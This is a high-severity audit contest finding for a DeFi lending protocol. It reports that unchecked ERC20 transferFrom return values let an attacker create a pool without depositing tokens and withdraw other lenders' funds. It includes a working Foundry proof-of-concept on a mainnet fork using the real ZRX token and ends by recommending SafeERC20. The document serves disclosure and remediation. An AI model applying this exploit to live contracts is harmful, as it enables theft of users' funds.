20,000 USDC
View results
Submission Details
Severity: high

Malicious attacker can steal other peoples tokens

Summary

Attackers can steal tokens from other lenders if lending token does not conform to ERC20 standard

Vulnerability Details

Attackers can steal other peoples tokens.

Impact

The following PoC shows how an attacker can steal other Peoples tokens.

function test_WithdrawOtherPeoplesMoney() public {
// this exploit uses the 0x Token as an example
// it has the following `transferFrom` implementation
/* function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
} */
// The following steps need to be taken to steal other peoples tokens
// 1. Whale creates LendingPool
// 2. Attacker creates same LendingPool (without having tokens in his wallet)
// 3. Attacker withdraws tokens (even though he did not deposit any earlier)
// vm.createSelectFork(vm.rpcUrl('mainnet'), 17711546) is called in the setUp function.
ERC20 zrx = ERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
address zrxWhale = 0xBB846E9b5a61F9555D1ea9EddbEBCA3e58A85001;
vm.startPrank(zrxWhale);
zrx.approve(address(lender), type(uint256).max);
Pool memory p1 = Pool({
lender: zrxWhale,
loanToken: address(zrx),
collateralToken: address(collateralToken),
minLoanSize: 10*10**18,
poolBalance: 100*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p1);
vm.stopPrank();
// The intended outcome should be that 100 ZRX tokens
// are in the `balanceOf(lender)` contract.
(,,,,uint256 poolBalance1,,,,) = lender.pools(poolId);
console.log("Stored Lender pool Balance from attacker %d", poolBalance1);
console.log("Actual Lender pool Balance from attacker %d", zrx.balanceOf(address(lender)));
// a malicious actor sees this transaction in the mempool and decides to backrun it
vm.startPrank(lender2);
// zrx.approve(address(lender), type(uint256).max); not required here
assertEq(zrx.balanceOf(lender2), 0);
console.log("PRE ATTACK ATTACKER BALANCE: %d", zrx.balanceOf(address(lender2)));
Pool memory p2 = Pool({
lender: lender2,
loanToken: address(zrx),
collateralToken: address(collateralToken),
minLoanSize: 10*10**18,
poolBalance: 100*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId = lender.setPool(p2); // no tokens are actually transfered
(,,,,uint256 poolBalance2,,,,) = lender.pools(poolId);
console.log("Stored Lender pool Balance from attacker %d", poolBalance1);
console.log("Stored Lender pool Balance from lender2 %d", poolBalance1);
console.log("Actual Lender pool Balance %d", zrx.balanceOf(address(lender)));
// Right at this time the protocol thinks it has 2e18 balance even though it only has 1e18
// so the attacker can now withdraw tokens that should be in someone elses posession.
lender.removeFromPool(poolId, 100e18);
console.log("POSTATTACK ATTACKER BALANCE: %d", zrx.balanceOf(address(lender2)));
vm.stopPrank();
}

Tools Used

Manual Review

Recommendations

Use SafeERC20.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!